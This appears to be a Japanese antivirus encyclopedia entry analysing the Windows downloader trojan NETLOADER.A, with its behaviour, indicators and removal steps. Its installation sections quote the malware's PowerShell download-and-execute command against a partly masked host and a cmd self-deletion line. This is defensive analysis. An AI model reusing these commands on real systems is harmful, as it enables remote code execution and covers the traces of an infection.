解析者: Carlos Villegas Madrid   

 別名:

Trojan:Win32/NetLoader!MTB (MICROSOFT)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    トロイの木馬型

  • 破壊活動の有無:
    なし

  • 暗号化:
     

  • 感染報告の有無 :
    はい

  概要

感染経路 インターネットからのダウンロード, 他のマルウェアからの作成

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

  詳細

ファイルサイズ 146,944 bytes
タイプ EXE
メモリ常駐 なし
発見日 2023年3月31日
ペイロード システムのレジストリの変更, URLまたはIPアドレスに接続

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

  • /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.{BLOCKED}ch.info/wp-content/debug2.ps1')
  • "%ProgramData%\ab{Random}.exe"
  • "%System%\cmd.exe" /c ping 127.0.0.1 && del "{Malware Path}\{Malware File Name}.exe" >> NUL → used to delete itself

マルウェアは、以下の Mutex を作成し、メモリ上で自身の重複実行を避けます。

  • dfojkghdsop5234

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\SQLManageInfo
DoManage = 1

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ルートキット機能

マルウェアは、ルートキット機能を備えていません。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスして自身のコンポーネントファイルをダウンロードします。

  • https://www.{BLOCKED}ch.info/wp-content/debug2.ps1
  • https://www.{BLOCKED}ch.info/wp-content/ab{Random}.exe
  • https://www.{BLOCKED}ch.info/wp-content/ab{Random}.php

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

  • %ProgramData%\ab{Random}.exe
  • %ProgramData%\ab{Random}.php

(註:%ProgramData%フォルダは、マルチユーザーシステムにおいて任意のユーザがプログラムに変更を加えることができるプログラムファイルフォルダのバージョンです。これには、すべてのユーザのアプリケーションデータが含まれます。Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\ProgramData" です。Windows Server 2003(32-bit)、2000(32-bit)、XPの場合、通常 "C:\Documents and Settings\All Users" です。 )

その他

マルウェアは、以下のレジストリキーを追加します。

HKEY_CURRENT_USER\Software\SQLManageInfo

マルウェアは、以下を実行します。

  • It searches for the following files.
    • debug2.ps1
    • debug4.ps1
  • It checks whether it was executed on a 32- or 64-bit machine.
  • It executes the downloaded file with escalated privileges.
  • It deletes itself after execution.

ただし、情報公開日現在、このWebサイトにはアクセスできません。

マルウェアは、脆弱性を利用した感染活動を行いません。

<補足>
インストール

マルウェアは、以下のプロセスを追加します。

  • /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.{BLOCKED}ch.info/wp-content/debug2.ps1')
  • "%ProgramData%\ab{ランダム}.exe"
  • "%System%\cmd.exe" /c ping 127.0.0.1 && del "{マルウェアパス}\{マルウェアのファイル名}.exe" >> NUL → 自身の削除に使用

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスして自身のコンポーネントファイルをダウンロードします。

  • https://www.{BLOCKED}ch.info/wp-content/debug2.ps1
  • https://www.{BLOCKED}ch.info/wp-content/ab{ランダム}.exe
  • https://www.{BLOCKED}ch.info/wp-content/ab{ランダム}.php

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

  • %ProgramData%\ab{ランダム}.exe
  • %ProgramData%\ab{ランダム}.php

その他

マルウェアは、以下を実行します。

  • 以下のファイルを検索します。
    • debug2.ps1
    • debug4.ps1
  • 32ビットあるいは64ビットのコンピュータ上で実行されたかどうかを確認します。
  • ダウンロードしたファイルを昇格した権限で実行します。
  • 実行後に自身を削除します。

  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 18.392.04
初回 VSAPI パターンリリース日 2023年4月18日
VSAPI OPR パターンバージョン 18.393.00
VSAPI OPR パターンリリース日 2023年4月19日

手順 1

トレンドマイクロの機械学習型検索は、マルウェアの存在を示す兆候が確認された時点で検出し、マルウェアが実行される前にブロックします。機械学習型検索が有効になっている場合、弊社のウイルス対策製品はこのマルウェアを以下の機械学習型検出名として検出します。

     
    • BKDR.Win32.TRX.XXPE50FFF067

手順 2

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 3

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 4

Windowsをセーフモードで再起動します。

[ 詳細 ]

手順 5

「Trojan.Win32.NETLOADER.A」で検出したファイル名を確認し、そのファイルを終了します。

[ 詳細 ]

  • すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
  • 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
    セーフモードについては、こちらをご参照下さい。
  • 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。

手順 6

このレジストリ値を削除します。

[ 詳細 ]

警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

  • In HKEY_CURRENT_USER\Software\SQLManageInfo
    • DoManage data = 1

手順 7

このレジストリキーを削除します。

[ 詳細 ]

警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

  • In HKEY_CURRENT_USER\Software\SQLManageInfo

手順 8

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
    • %ProgramData%\ab{Random}.exe
    • %ProgramData%\ab{Random}.php

手順 9

コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「Trojan.Win32.NETLOADER.A」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。

手順 10

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.Win32.NETLOADER.A」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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